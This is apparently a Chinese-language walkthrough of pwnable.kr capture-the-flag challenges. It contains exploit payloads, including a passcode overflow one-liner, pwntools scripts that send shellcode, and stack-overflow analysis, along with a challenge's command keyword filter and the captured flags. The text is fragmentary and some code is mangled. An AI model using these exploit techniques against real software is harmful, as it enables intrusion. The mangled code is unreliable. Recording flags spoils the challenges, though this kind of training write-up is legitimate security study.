bof@ubuntu:/tmp/bof_test$ python3 get_flag.py [+] Opening connection to 0.0.0.0 on port 9000: Done [*] Switching to interactive mode $ ls bof bof.c flag log super.pl $ cat flag Daddy_I_just_pwned_a_buff3r! $
passcode@ubuntu:~$ python2 -c 'print "a" * 96 + "\x14\xc0\x04\x08" + "134517409"' | ./passcode Toddler's Secure Login System 1.1 beta. enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! s0rry_mom_I_just_ign0red_c0mp1ler_w4rning enter passcode1 : Now I can safely trust you that you have credential :)
random
查看程序源码,当输入数据与随机数异或结果为 0xcafebabe 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#include<stdio.h>
intmain(){ unsignedint random; random = rand(); // random value!
intmain(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n");
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.connect(("127.0.0.1", port)) server.send(b"\xde\xad\xbe\xef") server.close()
将脚本上传到服务器 /tmp 下新建的目录中,并通过软链接引用 flag 文件。
1
ln -s /home/input2/flag ./flag
运行脚本,获取 flag 信息。
1 2 3 4 5 6 7 8 9 10
input2@ubuntu:/tmp/input2_test$ python3 get_flag.py Welcome to pwnable.kr Let's see if you know how to give input to program Just give me correct inputs then you will get the flag :) Stage 1 clear! Stage 2 clear! Stage 3 clear! Stage 4 clear! Stage 5 clear! Mommy_now_I_know_how_to_pa5s_inputs_in_Linux
coin1@ubuntu:/tmp/coin1_test$ python2 get_flag.py [+] Opening connection to 0.0.0.0 on port 9007: Done
....
N=597 C=10
Correct! (98)
N=518 C=10
Correct! (99)
Congrats! get your flag
flag = b1naRy_S34rch1Ng_1s_3asy_p3asy
[*] Closed connection to 0.0.0.0 port 9007
blackjack
查看游戏源码,分析发现输入金额时存在问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
intbetting()//Asks user amount to bet { printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has { printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); return bet; } elsereturn bet; } // End Function
voidhelp(){ printf("- nLotto Rule -\n"); printf("nlotto is consisted with 6 random natural numbers less than 46\n"); printf("your goal is to match lotto numbers as many as you can\n"); printf("if you win lottery for *1st place*, you will get reward\n"); printf("for more details, follow the link below\n"); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n"); printf("mathematical chance to win this game is known to be 1/8145060.\n"); }
intmain(int argc, char* argv[]){
// menu unsignedint menu;
while(1){
printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n");
intfilter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; }
printf("Hey, I have a boring assignment for CS class.. :(\n"); printf("The assignment is simple.\n");
printf("-----------------------------------------------------\n"); printf("- What is the best implementation of memcpy? -\n"); printf("- 1. implement your own slow/fast version of memcpy -\n"); printf("- 2. compare them with various size of data -\n"); printf("- 3. conclude your experiment and submit report -\n"); printf("-----------------------------------------------------\n");
printf("This time, just help me out with my experiment and get flag\n"); printf("No fancy hacking, I promise :D\n");
// setup experiment parameters for(e=4; e<14; e++){ // 2^13 = 8K low = pow(2,e-1); high = pow(2,e); printf("specify the memcpy amount between %d ~ %d : ", low, high); scanf("%d", &size); if( size < low || size > high ){ printf("don't mess with the experiment.\n"); exit(0); } sizes[i++] = size; }
sleep(1); printf("ok, lets run the experiment with your configuration\n"); sleep(1);
// run experiment for(i=0; i<10; i++){ size = sizes[i]; printf("experiment %d : memcpy with buffer size %d\n", i+1, size); dest = malloc( size );
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect t1 = rdtsc(); slow_memcpy(dest, src, size); // byte-to-byte memcpy t2 = rdtsc(); printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect t1 = rdtsc(); fast_memcpy(dest, src, size); // block-to-block memcpy t2 = rdtsc(); printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1); printf("\n"); }
printf("thanks for helping my experiment!\n"); printf("flag : [erased here. get it from server]\n"); return0; }
查看 readme 文件,需要通过 nc 0 9022 运行编译后的程序。
1 2 3 4 5
memcpy@ubuntu:~$ cat readme the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022. execute the binary by connecting to daemon(nc 0 9022).
nc 0 2000 if service is down
程序在分配内存时,总是报错退出,无法成功完成测试。
1 2 3 4 5 6
experiment 4 : memcpy with buffer size 64 ellapsed CPU cycles for slow_memcpy : 2728 ellapsed CPU cycles for fast_memcpy : 410
experiment 5 : memcpy with buffer size 128 ellapsed CPU cycles for slow_memcpy : 5368
for e inrange(4, 15): for size inrange(int(math.pow(2, e-1)), int(math.pow(2, e))): if (size + 4) % 16 == 0: print target.recvuntil(': ') + str(size) target.sendline(str(size)) break
print target.recvall()
target.close()
运行测试脚本,得到 flag 信息。
1 2 3 4 5 6 7 8 9
memcpy@ubuntu:/tmp/memcpy_test$ python2 get_flag.py [+] Opening connection to 0.0.0.0 on port 9022: Done .... experiment 10 : memcpy with buffer size 4108 ellapsed CPU cycles for slow_memcpy : 93750 ellapsed CPU cycles for fast_memcpy : 1804
thanks for helping my experiment! flag : b0thers0m3_m3m0ry_4lignment
printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000);
alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return0; }
print target.recvuntil('give me your x64 shellcode: ') target.send(asm(shellcode))
print target.recvall()
target.close()
运行利用脚本,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11
asm@ubuntu:/tmp/asm_test$ python2 get_flag.py [+] Opening connection to 0.0.0.0 on port 9026: Done Welcome to shellcoding practice challenge. In this challenge, you can run your x64 shellcode under SECCOMP sandbox. Try to make shellcode that spits flag using open()/read()/write() systemcalls only. If this does not challenge you. you should play 'asg' challenge :) give me your x64 shellcode: [+] Receiving all data: Done (100B) [*] Closed connection to 0.0.0.0 port 9026 Mak1ng_5helLcodE_i5_veRy_eaSy lease_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooo
intropme() { charexp[100]; // [esp+4h] [ebp-74h] BYREF int choice; // [esp+68h] [ebp-10h] BYREF int fd; // [esp+6Ch] [ebp-Ch]
printf("Select Menu:"); __isoc99_scanf("%d", &choice); getchar(); if ( choice == a ) { A(); } elseif ( choice == b ) { B(); } elseif ( choice == c ) { C(); } elseif ( choice == d ) { D(); } elseif ( choice == e ) { E(); } elseif ( choice == f ) { F(); } elseif ( choice == g ) { G(); } else { printf("How many EXP did you earned? : "); gets(exp); if ( atoi(exp) == sum ) { fd = open("/home/horcruxes_pwn/flag", 0); exp[read(fd, exp, 0x64u)] = 0; puts(exp); close(fd); exit(0); } puts("You'd better get more experience to kill Voldemort"); } return0; }
分析程序,发现存在栈溢出漏洞。
1 2
printf("How many EXP did you earned? : "); gets(exp);
查看程序开启的保护机制,发现未开启任何保护机制,因此可以利用栈溢出漏洞,跳转到任意地址执行代码。
1 2 3 4 5 6 7 8 9
horcruxes@ubuntu:~$ checksec horcruxes [!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine [*] '/home/horcruxes/horcruxes' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8040000) Stripped: No
horcruxes@ubuntu:/tmp/horcruxes_test$ python2 get_flag.py [+] Opening connection to 0.0.0.0 on port 9032: Done Voldemort concealed his splitted soul inside 7 horcruxes. Find all horcruxes, and destroy it!
Select Menu:1 How many EXP did you earned? : You'd better get more experience to kill Voldemort You found "Nagini the Snake" (EXP +-2037650641) You found "Rowena Ravenclaw's Diadem" (EXP +-1449513603) You found "Salazar Slytherin's Locket" (EXP +537638325) You found "Helga Hufflepuff's Cup" (EXP +266460613) You found "Marvolo Gaunt's Ring" (EXP +830131297) You found "Tom Riddle's Diary" (EXP +65439375) You found "Harry Potter" (EXP +-1912371682) Select Menu:1 How many EXP did you earned? : 595100980 [+] Receiving all data: Done (34B) [*] Closed connection to 0.0.0.0 port 9032 The_M4gic_sp3l1_is_Avada_Ked4vra